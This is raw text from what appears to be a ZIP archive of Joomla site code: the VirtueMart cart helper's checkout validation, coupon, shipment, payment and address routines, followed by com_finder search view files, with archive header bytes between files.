$this->setCartIntoSession(); } public function setPaymentMethod($virtuemart_paymentmethod_id) { $this->virtuemart_paymentmethod_id = $virtuemart_paymentmethod_id; $this->setCartIntoSession(); } function confirmDone() { $this->checkoutData(); if ($this->_dataValidated) { $this->_confirmDone = true; $this->confirmedOrder(); } else { $mainframe = JFactory::getApplication(); $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE), JText::_('COM_VIRTUEMART_CART_CHECKOUT_DATA_NOT_VALID')); } } function checkout($redirect=true) { $this->checkoutData($redirect); if ($this->_dataValidated && $redirect) { $mainframe = JFactory::getApplication(); $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE), JText::_('COM_VIRTUEMART_CART_CHECKOUT_DONE_CONFIRM_ORDER')); } } private function redirecter($relUrl,$redirectMsg){ $this->_dataValidated = false; $app = JFactory::getApplication(); if($this->_redirect and !$this->_redirect_disabled){ $this->setCartIntoSession(); //This is an internal redirect, therefore $this->useXHTML is always false $app->redirect(JRoute::_($relUrl,false,$this->useSSL), $redirectMsg); return false; } else { $this->_inCheckOut = false; $this->setCartIntoSession(); return false; } } public function getFilterCustomerComment(){ $this->customer_comment = JRequest::getVar('customer_comment', $this->customer_comment); // no HTML TAGS but permit all alphabet $value = preg_replace('@<[\/\!]*?[^<>]*?>@si','',$this->customer_comment);//remove all html tags $value = (string)preg_replace('#on[a-z](.+?)\)#si','',$value);//replace start of script onclick() onload()... $value = trim(str_replace('"', ' ', $value),"'") ; $this->customer_comment = (string)preg_replace('#^\'#si','',$value);//replace ' at start } private function checkoutData($redirect = true) { $this->_redirect = $redirect; $this->_inCheckOut = true; $this->setCartIntoSession(); $this->tosAccepted = JRequest::getInt('tosAccepted', $this->tosAccepted); $this->STsameAsBT = JRequest::getInt('STsameAsBT', $this->STsameAsBT); $this->order_language = JRequest::getVar('order_language', $this->order_language); $this->getFilterCustomerComment(); $this->cartData = $this->prepareCartData(); $this->prepareCartPrice(); if (count($this->products) == 0) { return $this->redirecter('index.php?option=com_virtuemart', JText::_('COM_VIRTUEMART_CART_NO_PRODUCT')); } else { foreach ($this->products as $product) { $redirectMsg = $this->checkForQuantities($product, $product->quantity); if (!$redirectMsg) { return $this->redirecter('index.php?option=com_virtuemart&view=cart', $redirectMsg); } } } // Check if a minimun purchase value is set if (($redirectMsg = $this->checkPurchaseValue()) != null) { return $this->redirecter('index.php?option=com_virtuemart&view=cart' , $redirectMsg); } $validUserDataBT = self::validateUserData(); if(!isset($this->tosAccepted)){ $userFieldsModel = VmModel::getModel('Userfields'); $agreed = $userFieldsModel->getUserfield('agreed','name'); $this->tosAccepted = $agreed->default; } if (empty($this->tosAccepted)) { $userFieldsModel = VmModel::getModel('Userfields'); $agreed = $userFieldsModel->getUserfield('agreed','name'); if(empty($this->tosAccepted) and !empty($agreed->required) and $validUserDataBT!==-1){ $redirectMsg = null;// JText::_('COM_VIRTUEMART_CART_PLEASE_ACCEPT_TOS'); $this->tosAccepted = false; vmInfo('COM_VIRTUEMART_CART_PLEASE_ACCEPT_TOS','COM_VIRTUEMART_CART_PLEASE_ACCEPT_TOS'); return $this->redirecter('index.php?option=com_virtuemart&view=cart' , $redirectMsg); } } if ($validUserDataBT!==true) { //Important, we can have as result -1,false and true. return $this->redirecter('index.php?option=com_virtuemart&view=user&task=editaddresscheckout&addrtype=BT' , ''); } if($this->STsameAsBT!==0){ if($this->_confirmDone){ $this->ST = $this->BT; } else { $this->ST = 0; } } else { if (($this->selected_shipto = JRequest::getVar('shipto', null)) !== null) { JModel::addIncludePath(JPATH_VM_ADMINISTRATOR . DS . 'models'); $userModel = JModel::getInstance('user', 'VirtueMartModel'); $stData = $userModel->getUserAddressList(0, 'ST', $this->selected_shipto); $stData = get_object_vars($stData[0]); if($this->validateUserData('ST', $stData)!=-1 and $this->validateUserData('ST', $stData)>0){ $this->ST = $stData; } } //Only when there is an ST data, test if all necessary fields are filled $validUserDataST = self::validateUserData('ST'); if ($validUserDataST!==true) { return $this->redirecter('index.php?option=com_virtuemart&view=user&task=editaddresscheckout&addrtype=ST' , ''); } } if(VmConfig::get('oncheckout_only_registered',0)) { $currentUser = JFactory::getUser(); if(empty($currentUser->id)){ $redirectMsg = JText::_('COM_VIRTUEMART_CART_ONLY_REGISTERED'); return $this->redirecter('index.php?option=com_virtuemart&view=user&task=editaddresscheckout&addrtype=BT' , $redirectMsg); } } //vmdebug('ValidateCouponCode ValidateCouponCode ValidateCouponCode',$this->couponCode); // Test Coupon if (!empty($this->couponCode)) { //$prices = $this->getCartPrices(); if (!class_exists('CouponHelper')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'coupon.php'); } if(!in_array($this->couponCode,$this->_triesValidateCoupon)){ $this->_triesValidateCoupon[] = $this->couponCode; } if(count($this->_triesValidateCoupon)<8){ $redirectMsg = CouponHelper::ValidateCouponCode($this->couponCode, $this->pricesUnformatted['salesPrice']); } else{ $redirectMsg = JText::_('COM_VIRTUEMART_CART_COUPON_TOO_MANY_TRIES'); } if (!empty($redirectMsg)) { $this->couponCode = ''; $this->getCartPrices(); $this->setCartIntoSession(); return $this->redirecter('index.php?option=com_virtuemart&view=cart' , $redirectMsg); } } $redirectMsg = ''; //Test Shipment and show shipment plugin if (empty($this->virtuemart_shipmentmethod_id)) { return $this->redirecter('index.php?option=com_virtuemart&view=cart&task=edit_shipment' , $redirectMsg); } else if ($this->virtuemart_shipmentmethod_id != JRequest::getInt('virtuemart_shipmentmethod_id', $this->virtuemart_shipmentmethod_id)) { $obj = new VirtueMartControllerCart(); $obj->setshipment(); return $this->redirecter('index.php?option=com_virtuemart&view=cart' , $redirectMsg); } else { if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); //Add a hook here for other shipment methods, checking the data of the choosed plugin $dispatcher = JDispatcher::getInstance(); $retValues = $dispatcher->trigger('plgVmOnCheckoutCheckDataShipment', array( $this)); //vmdebug('plgVmOnCheckoutCheckDataShipment CART', $retValues); foreach ($retValues as $retVal) { if ($retVal === true) { break; // Plugin completed succesfull; nothing else to do } elseif ($retVal === false) { // Missing data, ask for it (again) return $this->redirecter('index.php?option=com_virtuemart&view=cart&task=edit_shipment' , $redirectMsg); // NOTE: inactive plugins will always return null, so that value cannot be used for anything else! } } } //Test Payment and show payment plugin if($this->pricesUnformatted['salesPrice']>0.0){ if (empty($this->virtuemart_paymentmethod_id)) { return $this->redirecter('index.php?option=com_virtuemart&view=cart&task=editpayment' , $redirectMsg); } else if ($this->virtuemart_paymentmethod_id != JRequest::getInt('virtuemart_paymentmethod_id', $this->virtuemart_paymentmethod_id)) { $obj = new VirtueMartControllerCart(); $obj->setpayment(); return $this->redirecter('index.php?option=com_virtuemart&view=cart' , $redirectMsg); } else { if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); //Add a hook here for other payment methods, checking the data of the choosed plugin $dispatcher = JDispatcher::getInstance(); $retValues = $dispatcher->trigger('plgVmOnCheckoutCheckDataPayment', array( $this)); foreach ($retValues as $retVal) { if ($retVal === true) { break; // Plugin completed succesful; nothing else to do } elseif ($retVal === false) { // Missing data, ask for it (again) return $this->redirecter('index.php?option=com_virtuemart&view=cart&task=editpayment' , $redirectMsg); // NOTE: inactive plugins will always return null, so that value cannot be used for anything else! } } } } //Show cart and checkout data overview $this->_inCheckOut = false; if($this->_blockConfirm){ $this->_dataValidated = false; return $this->redirecter('index.php?option=com_virtuemart&view=cart',''); } else { $this->_dataValidated = true; $this->setCartIntoSession(); return true; } } /** * Check if a minimum purchase value for this order has been set, and if so, if the current * value is equal or hight than that value. * @author Oscar van Eijk * @return An error message when a minimum value was set that was not eached, null otherwise */ private function checkPurchaseValue() { $vendor = VmModel::getModel('vendor'); $vendor->setId($this->vendorId); $store = $vendor->getVendor(); if ($store->vendor_min_pov > 0) { $prices = $this->getCartPrices(); if ($prices['salesPrice'] < $store->vendor_min_pov) { if (!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); $currency = CurrencyDisplay::getInstance(); return JText::sprintf('COM_VIRTUEMART_CART_MIN_PURCHASE', $currency->priceDisplay($store->vendor_min_pov)); } } return null; } /** * Test userdata if valid * * @author Max Milbers * @param String if BT or ST * @param Object If given, an object with data address data that must be formatted to an array * @return redirectMsg, if there is a redirectMsg, the redirect should be executed after */ private function validateUserData($type='BT', $obj = null) { if(empty($obj)){ $obj = $this->{$type}; } $usersModel = VmModel::getModel('user'); return $usersModel->validateUserData($obj,$type); } /** * This function is called, when the order is confirmed by the shopper. * * Here are the last checks done by payment plugins. * The mails are created and send to vendor and shopper * will show the orderdone page (thank you page) * */ function confirmedOrder() { //Just to prevent direct call if ($this->_dataValidated && $this->_confirmDone) { $orderModel = VmModel::getModel('orders'); if (($orderID = $orderModel->createOrderFromCart($this)) === false) { $mainframe = JFactory::getApplication(); JError::raiseWarning(500, 'No order created '.$orderModel->getError()); $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE) ); } $this->virtuemart_order_id = $orderID; //$order= $orderModel->getOrder($orderID); $orderDetails = $orderModel ->getMyOrderDetails($orderID); if(!$orderDetails or empty($orderDetails['details'])){ echo JText::_('COM_VIRTUEMART_CART_ORDER_NOTFOUND'); return; } $dispatcher = JDispatcher::getInstance(); JPluginHelper::importPlugin('vmcalculation'); JPluginHelper::importPlugin('vmcustom'); JPluginHelper::importPlugin('vmshipment'); JPluginHelper::importPlugin('vmpayment'); $returnValues = $dispatcher->trigger('plgVmConfirmedOrder', array($this, $orderDetails)); // may be redirect is done by the payment plugin (eg: paypal) // if payment plugin echos a form, false = nothing happen, true= echo form , // 1 = cart should be emptied, 0 cart should not be emptied return $orderID; } return NULL; } /** * emptyCart: Used for payment handling. * * @author Valerie Cartan Isaksen * */ public function emptyCart(){ self::emptyCartValues($this); $this->setCartIntoSession(); } /** * emptyCart: Used for payment handling. * * @author Valerie Cartan Isaksen * */ static public function emptyCartValues($cart){ //We delete the old stuff $cart->products = array(); $cart->_inCheckOut = false; $cart->_dataValidated = false; $cart->_confirmDone = false; $cart->customer_comment = ''; $cart->couponCode = ''; $cart->order_language = ''; $cart->tosAccepted = null; $cart->virtuemart_shipmentmethod_id = 0; //OSP 2012-03-14 $cart->virtuemart_paymentmethod_id = 0; $cart->order_number=null; $cart->pricesUnformatted = null; $cart->cartData = null; } function saveAddressInCart($data, $type, $putIntoSession = true) { //vmdebug('email $data',$data['email']); // VirtueMartModelUserfields::getUserFields() won't work if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php' ); $userFieldsModel = VmModel::getModel('userfields'); $prefix = ''; $prepareUserFields = $userFieldsModel->getUserFieldsFor('cart',$type); if(!is_array($data)){ $data = get_object_vars($data); } //STaddress may be obsolete if ($type == 'STaddress' || $type =='ST') { $prefix = 'shipto_'; $this->STsameAsBT = 0; } else { // BT if(!empty($data['agreed'])){ $this->tosAccepted = $data['agreed']; } if(empty($data['email'])){ $jUser = JFactory::getUser(); $address['email'] = $jUser->email; //vmdebug('email was empty',$address['email']); } } $address = array(); foreach ($prepareUserFields as $fld) { if(!empty($fld->name)){ $name = $fld->name; /*if($fld->readonly){ vmdebug(' saveAddressInCart ',$data[$prefix.$name]); }*/ if(!empty($data[$prefix.$name])){ $address[$name] = $data[$prefix.$name]; } else { if($fld->required and isset($this->{$type}[$name])){ //Why we have this fallback to the already stored value? $address[$name] = $this->{$type}[$name]; } else { vmdebug('saveAddressInCart empty value for $name='.$name); $address[$name] = ''; } } } } //dont store passwords in the session unset($address['password']); unset($address['password2']); $this->{$type} = $address; if($putIntoSession){ $this->setCartIntoSession(); } } /* * CheckAutomaticSelectedShipment * If only one shipment is available for this amount, then automatically select it * * @author Valérie Isaksen */ function CheckAutomaticSelectedShipment($cart_prices, $checkAutomaticSelected ) { if (!$checkAutomaticSelected or count($this->products) == 0 or VmConfig::get('automatic_shipment','1')!='1') { return false; } $nbShipment = 0; $virtuemart_shipmentmethod_id = 0; if (!class_exists('vmPSPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); } JPluginHelper::importPlugin('vmshipment'); $shipCounter=0; $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnCheckAutomaticSelectedShipment', array( $this,$cart_prices, &$shipCounter)); foreach ($returnValues as $returnValue) { if ( isset($returnValue )) { $nbShipment ++; if ($returnValue) $virtuemart_shipmentmethod_id = $returnValue; } } if ($nbShipment==1 && $virtuemart_shipmentmethod_id) { $this->virtuemart_shipmentmethod_id = $virtuemart_shipmentmethod_id; $this->automaticSelectedShipment=true; $this->setCartIntoSession(); return true; } else { if($this->automaticSelectedShipment){ $this->virtuemart_shipmentmethod_id = 0; $this->automaticSelectedShipment=false; $this->setCartIntoSession(); } return false; } } /* * CheckAutomaticSelectedPayment * If only one payment is available for this amount, then automatically select it * * @author Valérie Isaksen */ function CheckAutomaticSelectedPayment($cart_prices, $checkAutomaticSelected=true) { $nbPayment = 0; $virtuemart_paymentmethod_id=0; if ($checkAutomaticSelected and VmConfig::get('automatic_payment','1')=='1' ) { if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $paymentCounter=0; $returnValues = $dispatcher->trigger('plgVmOnCheckAutomaticSelectedPayment', array( $this, $cart_prices, &$paymentCounter)); foreach ($returnValues as $returnValue) { if ( isset($returnValue )) { $nbPayment++; if($returnValue) $virtuemart_paymentmethod_id = $returnValue; } } if ($nbPayment==1 && $virtuemart_paymentmethod_id) { $this->virtuemart_paymentmethod_id = $virtuemart_paymentmethod_id; $this->automaticSelectedPayment=true; $this->setCartIntoSession(); return true; } else { if($this->automaticSelectedPayment){ $this->virtuemart_paymentmethod_id = 0; $this->automaticSelectedPayment=false; $this->setCartIntoSession(); } return false; } } else { return false; } } /* * CheckShipmentIsValid: * check if the selected shipment is still valid for this new cart * * @author Valerie Isaksen */ function CheckShipmentIsValid() { if ($this->virtuemart_shipmentmethod_id===0) return; $shipmentValid = false; if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnCheckShipmentIsValid', array( $this)); foreach ($returnValues as $returnValue) { $shipmentValid += $returnValue; } if (!$shipmentValid) { $this->virtuemart_shipmentmethod_id = 0; $this->setCartIntoSession(); } } /* * Prepare the datas for cart/mail views * set product, price, user, adress and vendor as Object * @author Patrick Kohl * @author Valerie Isaksen */ function prepareCartViewData(){ // Get the products for the cart $this->prepareAddressDataInCart(); $this->prepareCartPrice( ) ; $this->cartData = $this->prepareCartData(); $this->prepareVendor(); } /** * prepare display of cart * * @author RolandD * @author Max Milbers * @access public */ public function prepareCartData($checkAutomaticSelected=true){ vmSetStartTime('prepareCartData'); // Get the products for the cart if(!empty($this->couponCode)){ $this->setCouponCode($this->couponCode); vmdebug('ValidateCouponCode',$this->couponCode); } else{ // Get the products for the cart, the setCouponCode does it for us $this->getCartPrices($checkAutomaticSelected); } if (empty($this->pricesUnformatted)) return null; if(!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'currencydisplay.php'); $currency = CurrencyDisplay::getInstance(); $calculator = calculationHelper::getInstance(); $this->pricesCurrency = $currency->getCurrencyForDisplay(); if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmgetPaymentCurrency', array( $this->virtuemart_paymentmethod_id, &$this->paymentCurrency)); $cartData = $calculator->getCartData(); return $cartData ; } private function prepareCartPrice( ){ $productM = VmModel::getModel('product'); $usermodel = VmModel::getModel ('user'); $currentVMuser = $usermodel->getCurrentUser (); if(!is_array($currentVMuser->shopper_groups)){ $virtuemart_shoppergroup_ids = (array)$currentVMuser->shopper_groups; } else { $virtuemart_shoppergroup_ids = $currentVMuser->shopper_groups; } foreach ($this->products as $cart_item_id=>&$product){ $product->virtuemart_category_id = $this->getCardCategoryId($product->virtuemart_product_id); //$product = $productM->getProduct($product->virtuemart_product_id,true, true, true, $product->quantity); $productM->getProductPrices($product,$product->quantity,$virtuemart_shoppergroup_ids,true,true); // No full link because Mail want absolute path and in shop is better relative path $product->url = JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id='.$product->virtuemart_product_id.'&virtuemart_category_id='.$product->virtuemart_category_id, FALSE);//JHTML::link($url, $product->product_name); if(!empty($product->customfieldsCart)){ if(!class_exists('VirtueMartModelCustomfields'))require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php'); $product->customfields = VirtueMartModelCustomfields::CustomsFieldCartDisplay($cart_item_id,$product); } else { $product->customfields =''; } $product->cart_item_id = $cart_item_id ; } } /** * Function Description * * @author Max Milbers * @access public * @param array $cart the cart to get the products for * @return array of product objects */ // $this->pricesUnformatted = $product_prices; public function getCartPrices($checkAutomaticSelected=true ) { if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); $calculator = calculationHelper::getInstance(); $this->pricesUnformatted = $calculator->getCheckoutPrices($this, $checkAutomaticSelected); return $this->pricesUnformatted; } function prepareAddressDataInCart($type='BT',$new = false, $virtuemart_user_id=null){ $userFieldsModel =VmModel::getModel('Userfields'); if($new){ $data = null; } else { $data = (object)$this->$type; } if($virtuemart_user_id!==null){ $data->virtuemart_user_id=$virtuemart_user_id; } if($type=='ST'){ $preFix = 'shipto_'; } else { $preFix = ''; } $addresstype = $type.'address'; //for example BTaddress $userFieldsBT = $userFieldsModel->getUserFieldsFor('cart',$type); $address = $this->$addresstype = $userFieldsModel->getUserFieldsFilled( $userFieldsBT ,$data ,$preFix ); //vmdebug('prepareAddressDataInCart',$this->$addresstype); if(empty($this->$type) and $type=='BT'){ $tmp =&$this->$type ; $tmp = array(); foreach($address['fields'] as $k =>$field){ //vmdebug('prepareAddressDataInCart',$k,$field); if($k=='virtuemart_country_id'){ if(isset($address['fields'][$k]['virtuemart_country_id']) and !isset($tmp['virtuemart_country_id'])){ $tmp['virtuemart_country_id'] = $address['fields'][$k]['virtuemart_country_id']; } } else if($k=='virtuemart_state_id') { if(isset($address['fields'][$k]['virtuemart_state_id']) and !isset($tmp['virtuemart_state_id'])){ $tmp['virtuemart_state_id'] = $address['fields'][$k]['virtuemart_state_id']; } } else if (!empty($address['fields'][$k]['value'])){ if(!isset($tmp[$k])){ $tmp[$k] = $address['fields'][$k]['value']; //vmdebug('Values was empty for key '.$k.', set value to default'.$address['fields'][$k]['value']); } } } //$this->$type = $tmp; } if(!empty($this->ST) && $type!=='ST'){ $data = (object)$this->ST; if($new){ $data = null; } $userFieldsST = $userFieldsModel->getUserFieldsFor('cart','ST'); $this->STaddress = $userFieldsModel->getUserFieldsFilled( $userFieldsST ,$data ,$preFix ); } } function prepareAddressRadioSelection(){ //Just in case $this->user = VmModel::getModel('user'); $this->userDetails = $this->user->getUser(); $_addressBT = array(); // Shipment address(es) if($this->user){ $_addressBT = $this->user->getUserAddressList($this->userDetails->JUser->get('id') , 'BT'); // Overwrite the address name for display purposes if(empty($_addressBT[0])) $_addressBT[0] = new stdClass(); $_addressBT[0]->address_type_name = JText::_('COM_VIRTUEMART_ACC_BILL_DEF'); $_addressST = $this->user->getUserAddressList($this->userDetails->JUser->get('id') , 'ST'); } else { $_addressBT[0]->address_type_name = ''.JText::_('COM_VIRTUEMART_ACC_BILL_DEF').''.'
            '; $_addressST = array(); } $addressList = array_merge( array($_addressBT[0])// More BT addresses can exist for shopowners :-( , $_addressST ); if($this->user){ for ($_i = 0; $_i < count($addressList); $_i++) { $addressList[$_i]->address_type_name = ''.$addressList[$_i]->address_type_name.''.'
            '; } if(!empty($addressList[0]->virtuemart_userinfo_id)){ $_selectedAddress = ( empty($this->_cart->selected_shipto) ? $addressList[0]->virtuemart_userinfo_id // Defaults to 1st BillTo : $this->_cart->selected_shipto ); $this->lists['shipTo'] = JHTML::_('select.radiolist', $addressList, 'shipto', null, 'virtuemart_userinfo_id', 'address_type_name', $_selectedAddress); }else{ $_selectedAddress = 0; $this->lists['shipTo'] = ''; } } else { $_selectedAddress = 0; $this->lists['shipTo'] = ''; } $this->lists['billTo'] = empty($addressList[0]->virtuemart_userinfo_id)? 0 : $addressList[0]->virtuemart_userinfo_id; } /** * moved to shopfunctionf * @deprecated */ function prepareMailData(){ if(empty($this->vendor)) $this->prepareVendor(); //TODO add orders, for the orderId //TODO add registering userdata // In general we need for every mail the shopperdata (with group), the vendor data, shopperemail, shopperusername, and so on } /** * moved to shopfunctionf * @deprecated */ // add vendor for cart function prepareVendor(){ $vendorModel = VmModel::getModel('vendor'); $this->vendor = $vendorModel->getVendor(1); $vendorModel->addImages($this->vendor,1); return $this->vendor; } // Render the code for Ajax Cart function prepareAjaxData($checkAutomaticSelected=false){ // Added for the zone shipment module //$vars["zone_qty"] = 0; $this->prepareCartData($checkAutomaticSelected); $weight_total = 0; $weight_subtotal = 0; //of course, some may argue that the $this->data->products should be generated in the view.html.php, but // if(empty($this->data)){ $this->data = new stdClass(); } $this->data->products = array(); $this->data->totalProduct = 0; $i=0; //OSP when prices removed needed to format billTotal for AJAX if (!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); $currency = CurrencyDisplay::getInstance(); foreach ($this->products as $priceKey=>$product){ //$vars["zone_qty"] += $product["quantity"]; $category_id = $this->getCardCategoryId($product->virtuemart_product_id); //Create product URL $url = JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id='.$product->virtuemart_product_id.'&virtuemart_category_id='.$category_id, FALSE); // @todo Add variants $this->data->products[$i]['product_name'] = JHTML::link($url, $product->product_name); // Add the variants if (!is_numeric($priceKey)) { if(!class_exists('VirtueMartModelCustomfields'))require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php'); // custom product fields display for cart $this->data->products[$i]['product_attributes'] = VirtueMartModelCustomfields::CustomsFieldCartModDisplay($priceKey,$product); } $this->data->products[$i]['product_sku'] = $product->product_sku; //** @todo WEIGHT CALCULATION //$weight_subtotal = vmShipmentMethod::get_weight($product["virtuemart_product_id"]) * $product->quantity']; //$weight_total += $weight_subtotal; // product Price total for ajax cart // $this->data->products[$i]['prices'] = $this->prices[$priceKey]['subtotal_with_tax']; $this->data->products[$i]['pricesUnformatted'] = $this->pricesUnformatted[$priceKey]['subtotal_with_tax']; $this->data->products[$i]['prices'] = $currency->priceDisplay( $this->pricesUnformatted[$priceKey]['subtotal_with_tax'] ); // other possible option to use for display $this->data->products[$i]['subtotal'] = $this->pricesUnformatted[$priceKey]['subtotal']; $this->data->products[$i]['subtotal_tax_amount'] = $this->pricesUnformatted[$priceKey]['subtotal_tax_amount']; $this->data->products[$i]['subtotal_discount'] = $this->pricesUnformatted[$priceKey]['subtotal_discount']; $this->data->products[$i]['subtotal_with_tax'] = $this->pricesUnformatted[$priceKey]['subtotal_with_tax']; // UPDATE CART / DELETE FROM CART $this->data->products[$i]['quantity'] = $product->quantity; $this->data->totalProduct += $product->quantity ; $i++; } $this->data->billTotal = $currency->priceDisplay( $this->pricesUnformatted['billTotal'] ); $this->data->dataValidated = $this->_dataValidated ; return $this->data ; } } PKGy>\322$com_virtuemart/virtuemart_parser.phpnuW+A\i ?+com_finder/views/search/view.opensearch.phpnuW+AsetShortName($params->get('opensearch_name', $app->getCfg('sitename'))); $doc->setDescription($params->get('opensearch_description', $app->getCfg('MetaDesc'))); // Add the URL for the search $searchUri = JURI::base() . 'index.php?option=com_finder&q={searchTerms}'; // Find the menu item for the search $menu = $app->getMenu(); $items = $menu->getItems('link', 'index.php?option=com_finder&view=search'); if (isset($items[0])) { $searchUri .= '&Itemid=' . $items[0]->id; } $htmlSearch = new JOpenSearchUrl; $htmlSearch->template = JRoute::_($searchUri); $doc->addUrl($htmlSearch); } } PKGy>\oo%com_finder/views/search/view.html.phpnuW+AgetParams(); // Get view data. $state = $this->get('State'); $query = $this->get('Query'); JDEBUG ? $GLOBALS['_PROFILER']->mark('afterFinderQuery') : null; $results = $this->get('Results'); JDEBUG ? $GLOBALS['_PROFILER']->mark('afterFinderResults') : null; $total = $this->get('Total'); JDEBUG ? $GLOBALS['_PROFILER']->mark('afterFinderTotal') : null; $pagination = $this->get('Pagination'); JDEBUG ? $GLOBALS['_PROFILER']->mark('afterFinderPagination') : null; // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Configure the pathway. if (!empty($query->input)) { $app->getPathWay()->addItem($this->escape($query->input)); } // Push out the view data. $this->assignRef('state', $state); $this->assignRef('params', $params); $this->assignRef('query', $query); $this->assignRef('results', $results); $this->assignRef('total', $total); $this->assignRef('pagination', $pagination); // Check for a double quote in the query string. if (strpos($this->query->input, '"')) { // Get the application router. $router =& $app->getRouter(); // Fix the q variable in the URL. if ($router->getVar('q') !== $this->query->input) { $router->setVar('q', $this->query->input); } } // Push out the query data. JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); $this->suggested = JHtml::_('query.suggested', $query); $this->explained = JHtml::_('query.explained', $query); // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); // Check for layout override only if this is not the active menu item // If it is the active menu item, then the view and category id will match $active = $app->getMenu()->getActive(); if (isset($active->query['layout'])) { // We need to set the layout in case this is an alternative menu item (with an alternative layout) $this->setLayout($active->query['layout']); } $this->prepareDocument($query); JDEBUG ? $GLOBALS['_PROFILER']->mark('beforeFinderLayout') : null; parent::display($tpl); JDEBUG ? $GLOBALS['_PROFILER']->mark('afterFinderLayout') : null; } /** * Method to get hidden input fields for a get form so that control variables * are not lost upon form submission * * @return string A string of hidden input form fields * * @since 2.5 */ protected function getFields() { $fields = null; // Get the URI. $uri = JURI::getInstance(JRoute::_($this->query->toURI())); $uri->delVar('q'); $uri->delVar('o'); $uri->delVar('t'); $uri->delVar('d1'); $uri->delVar('d2'); $uri->delVar('w1'); $uri->delVar('w2'); // Create hidden input elements for each part of the URI. foreach ($uri->getQuery(true) as $n => $v) { if (is_scalar($v)) { $fields .= ''; } } return $fields; } /** * Method to get the layout file for a search result object. * * @param string $layout The layout file to check. [optional] * * @return string The layout file to use. * * @since 2.5 */ protected function getLayoutFile($layout = null) { // Create and sanitize the file name. $file = $this->_layout . '_' . preg_replace('/[^A-Z0-9_\.-]/i', '', $layout); // Check if the file exists. jimport('joomla.filesystem.path'); $filetofind = $this->_createFileName('template', array('name' => $file)); $exists = JPath::find($this->_path['template'], $filetofind); return ($exists ? $layout : 'result'); } /** * Prepares the document * * @param FinderIndexerQuery $query The search query * * @return void * * @since 2.5 */ protected function prepareDocument($query) { $app = JFactory::getApplication(); $menus = $app->getMenu(); $pathway = $app->getPathway(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_FINDER_DEFAULT_PAGE_TITLE')); } $id = (int) @$menu->query['id']; $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($layout = $this->params->get('article_layout')) { $this->setLayout($layout); } // Configure the document meta-description. if (!empty($this->explained)) { $explained = $this->escape(html_entity_decode(strip_tags($this->explained), ENT_QUOTES, 'UTF-8')); $this->document->setDescription($explained); } // Configure the document meta-keywords. if (!empty($query->highlight)) { $this->document->setMetadata('keywords', implode(', ', $query->highlight)); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } // Add feed link to the document head. if ($this->params->get('show_feed_link', 1) == 1) { // Add the RSS link. $props = array('type' => 'application/rss+xml', 'title' => 'RSS 2.0'); $route = JRoute::_($this->query->toURI() . '&format=feed&type=rss'); $this->document->addHeadLink($route, 'alternate', 'rel', $props); // Add the ATOM link. $props = array('type' => 'application/atom+xml', 'title' => 'Atom 1.0'); $route = JRoute::_($this->query->toURI() . '&format=feed&type=atom'); $this->document->addHeadLink($route, 'alternate', 'rel', $props); } } } PKGy>\En n 0com_finder/views/search/tmpl/default_results.phpnuW+Aquery->highlight) && $this->params->get('highlight_terms', 1)) { JHtml::_('behavior.highlighter', $this->query->highlight); } // Get the application object. $app = JFactory::getApplication(); // Display the suggested search if it is different from the current search. if (($this->suggested && $this->params->get('show_suggested_query', 1)) || ($this->explained && $this->params->get('show_explained_query', 1))): ?>
            suggested && $this->params->get('show_suggested_query', 1)) { // Replace the base query string with the suggested query string. $uri = JUri::getInstance($this->query->toURI()); $uri->setVar('q', $this->suggested); // Compile the suggested query link. $link = '' . $this->escape($this->suggested) . ''; echo JText::sprintf('COM_FINDER_SEARCH_SIMILAR', $link); } // Display the explained search query. elseif ($this->explained && $this->params->get('show_explained_query', 1)) { echo $this->explained; } ?>
            total == 0): ?>

            getLanguageFilter()) : ?>

